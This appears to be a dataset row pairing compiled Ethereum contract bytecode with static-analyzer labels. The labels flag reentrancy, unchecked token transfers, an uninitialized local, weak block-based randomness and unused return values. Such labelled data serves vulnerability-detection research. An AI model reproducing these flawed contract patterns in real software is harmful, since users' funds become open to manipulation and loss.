5b5050508b9250610fcd565b600080fd5b50509a9950505050505050505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff16600143034060019004019150600090505b8460ff168160ff16108015611048575060068160ff16105b1561106a576101008281151561105a57fe5b0491508080600101915050611030565b8560ff168281151561107857fe5b06925050509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110df57600080fd5b80600260006101000a81548160ff02191690831515021790555050565b602081565b600060149054906101000a900461ffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119657600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156112785760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b601881565b600a5481565b600080611291612119565b600080600080600260009054906101000a900460ff161515156112b357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561131157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561136f57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113cb57600080fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695508573ffffffffffffffffffffffffffffffffffffffff16639d29cac48a600060405160a001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808263ffffffff1663ffffffff16815260200191505060a060405180830381600087803b151561147357600080fd5b6102c65a03f1151561148457600080fd5b50505060405180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6060018d60800185151515158152508563ffffffff1663ffffffff1681525085815250858152508563ffffffff1663ffffffff1681525050505050506000856000015163ffffffff16148061151057506000151585608001511515145b1561151a57600080fd5b600b548673ffffffffffffffffffffffffffffffffffffffff166347c17bac8d6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156115c057600080fd5b6102c65a03f115156115d157600080fd5b5050506040518051905011156115e657600080fd5b600a5485602001518115156115f757fe5b049350838a101561160757600080fd5b8573ffffffffffffffffffffffffffffffffffffffff1663fc4d20f58a8d8b6000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808463ffffffff1663ffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156116de5780820151818401526020810190506116c3565b50505050905090810190601f16801561170b5780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b151561172b57600080fd5b6102c65a03f1151561173c57600080fd5b505050604051805190509250600091505b600660ff1682101561192c578573ffffffffffffffffffffffffffffffffffffffff166362b21ad760028b63ffffffff16856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808460048111156117c357fe5b60ff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561180957600080fd5b6102c65a03f1151561181a57600080fd5b50505060405180519050611852602084600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611003565b0190508573ffffffffffffffffffffffffffffffffffffffff166326bda739600385846000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808460048111156118b957fe5b60ff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018260ff1660ff1681526020019350505050602060405180830381600087803b151561190557600080fd5b6102c65a03f1151561191657600080fd5b505050604051805190505060018201915061174d565b8a600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff167f77cb179e9e5f39d98ac520c7c9fe2d085ac4e521f56806105fdeb1032885ee0984604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390a2839650505050505050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ab2575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515611abd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611b1b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611be357600080fd5b6102c65a03f11515611bf457600080fd5b50505060405180519050821115611c0a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611cb557600080fd5b6102c65a03f11515611cc657600080fd5b5050506040518051905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d3157600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611e14576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611f19575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515611f2457600080fd5b83600a8190555082600b81905550816008819055508060098190555050505050565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fb457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561202b57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c4021c138585856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019350505050600060405180830381600087803b15156120ff57600080fd5b6102c65a03f1151561211057600080fd5b50505050505050565b60a060405190810160405280600063ffffffff1681526020016000815260200160008152602001600063ffffffff16815260200160001515815250905600a165627a7a7230582088a55cd67088ec60a1d9423ebc6116be195f523016d46884147f76612a35f3620029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,799 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.